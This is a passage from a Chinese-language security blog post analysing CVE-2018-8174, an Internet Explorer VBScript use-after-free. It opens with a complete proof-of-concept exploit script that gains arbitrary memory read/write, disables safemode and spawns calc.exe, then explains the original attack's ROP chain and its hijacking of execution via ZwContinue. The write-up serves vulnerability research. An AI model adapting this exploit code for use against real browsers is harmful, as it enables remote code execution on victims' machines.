garray(1) = 1

index = index + 1

end sub

end class



address = 0

set myconfa = new confusionA

set myconfb = new confusionB



sub uaf

Msgbox "uaf"

for i = 0 to 19

set array(i) = new foo

next

for i = 20 to 39

set array(i) = new Class2

next

index = 0

for i = 0 to 6

redim garray(1)

set garray(1) = new TriggerA

erase garray

next

set myclassA = new Class2

index = 0

for i = 0 to 6

redim garray(1)

set garray(1) = new TriggerB

erase garray

next

set myclassB = new Class2

end sub



sub initobjects

Msgbox "initobjects"

myclassA.setprop(myconfa)

myclassB.setprop(myconfb)

address = myclassB.mem

end sub



sub dummyfn()

end sub



function LeakFnAddr()//通过函数赋值时VBS“解析异常”的特性获取COleScript对象地址地址

On Error Resume Next

Dim tempaddr

tempaddr = dummyfn

tempaddr = null

myclassA.mem(address + 8) = tempaddr

myclassA.mem(address) = 3

LeakFnAddr = myclassA.mem(address + 8)

end function



Function ReadMemInt(Addr)

Dim value

myclassA.mem(address + 8) = Addr + 4

myclassA.mem(address) = 8 

value = myclassA.p0123456789

myclassA.mem(address) = 2

ReadMemInt = value

End Function



function EnableGodMode()

Msgbox "EnableGodMode"

dim tempaddr

tempaddr = LeakFnAddr() //获取CScriptEntryPoint对象地址pObjCScriptEntryPoint

tempaddr = ReadMemInt(tempaddr+8) //poi(pObjCScriptEntryPoint+8)

tempaddr = ReadMemInt(tempaddr+16) //poi(poi(pObjCScriptEntryPoint+8)+16),即获取COleScript对象地址

dim temp(2) //未初始化的数组默认元素类型为0,数值为0

myclassA.mem(tempaddr+&h174) = temp(0) //覆盖safemode

end function



Sub runshell()

Msgbox "runshell"

Set shell = CreateObject("Shell.Application")

shell.ShellExecute "calc.exe"

End Sub



sub startExploit

uaf

initobjects

EnableGodMode

runshell

end sub

startExploit



</script>

</head>

<body>

CVE-2018-8174

</body>

</html>

B、原始攻击样本中的利用

在获得内存任意地址读写之后、当前还需解决的一个问题是如何绕过相关的DEP保护。关于绕过保护机制我们得结合当前测试环境寻找办法,可以参考构造思路。

参照上述构造思路我花了较长时间去尝试还原利用,在一些细节问题上非常痛苦,既然如此就摊牌了不装B了,尴尬(毕竟厚积薄发、不服不行!)。

推荐一篇看雪论坛上的帖子,来自博主“来杯柠檬红茶”的CVE-2018-8174 “双杀”0day 从UAF到Exploit,该帖子中较完整的还原了实际攻击中的构造思路,代码简洁、可读性较高、便于分析。该部分旨在去理解其构造思路。

该EXP构造流程如下:


简要概括其流程如下:

    1. 触发漏洞,通过类型混淆构造可读写的自定义数组空间。
    2. 通过函数指针赋值时的特性获取CSEntrypoint对象地址,进而获取其虚表地址。
    3. 通过vftable获取PE文件Vbscript.dll的加载基址。
    4. 通过PE文件解析INT获取msvcrt.dll、kernelbase.dll、ntdll.dll模块基址,进而获取Virtualprotect、NtContinue函数地址。
    5. 精心构造一段ROP链,将其写入前面准备的可控数组空间。
    6. 借助特定代码时机攻击NtContinue函数劫持eip,获得shellcode执行。
Sub ExecuteShellcode
'把类型改成0x4D
memClassA.mem(address) = &h4d
Msgbox "ExecuteShellcode"
memClassA.mem(address + 8) = 0
End Sub

上述流程虽然前面的具体实现较为繁琐,但是思路非常清晰。难点是最后两步,而且对于初次调试该EXP一直会有个疑问:当前构造的shellcode是在什么时机获得执行权限的?这也是该EXP分析的重点。

Sub ExecuteShellcode
'把类型改成0x4D
memClassA.mem(address) = &h4d
Msgbox "ExecuteShellcode"
memClassA.mem(address + 8) = 0
End Sub

上述脚本将给与Shellcode执行的机会。经前面分析可知memClassA.mem(address)指向的是我们初始定义的“Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")”的内存缓冲区,此时这段VARIANT的类型被修改为4d,在后续执行“ memClassA.mem(address + 8) = 0”时,Vbs将检测该VARIANT结构并根据其类型进行相应的处理。在类型修改为4d之后,对该地址下访问断点即可跟踪到后续的处理逻辑。

如上所示,成功断到AssignVar函数,继续跟进,对其vt判断之后将进入到VAR::Clear。Clear函数内部将继续检测其类型然后做出相应释放处理,下面视图模式中绿色部分即是当前释放逻辑。

跟踪上述流程,当变体类型满足0x4c<vt<=0x50时,代码流将按相应大小跳转到一个“函数指针数组”的结构。当类型为0x4d,将VARIANT中的值域压栈保存,并将该值域解析成vfTable,随后发生调用。

发生调用的函数指针正是我们精心构造的ROP链中写入的ntdll!ZwContinue函数。

NTSYSAPI NTSTATUS NTAPI ZwContinue (
IN PCONTEXT Context;
IN BOOLEAN TestAlert
);

ZwContinue函数常用于Windows异常处理模块,在调用相应的异常处理回调函数时通过该函数恢复异常发生的环境信息进而进行处理。

这里主要理解两点:

  1. 当发生变体结构分配、修改时,对于特殊类型0x4d的处理流程(我们可以理解成该类型标识的是一个指向vfTable的用于安全释放处理的结构)。正是因为该特性,实现了虚表的攻击。
  2. ZwContinue函数的功能。借助该函数通过传入伪造的CONTEXT参数,直接实现了EIP的劫持。

对于ROP链的构造是个得花费精力反复调试的过程,这里不做深入研究。

0x06 总结

该漏洞的分析断断续续地投入了较多时间,也遇到不少细节问题,不过一路死磕下来受益匪浅,在对于VBS虚拟机解释执行的机制、内存中的结构数据布局以及调试思路、方法等都有了新的认识。对于帖子中的疑问、错误、不足,欢迎各位同仁交流指点。

作者:看雪id:输出全靠吼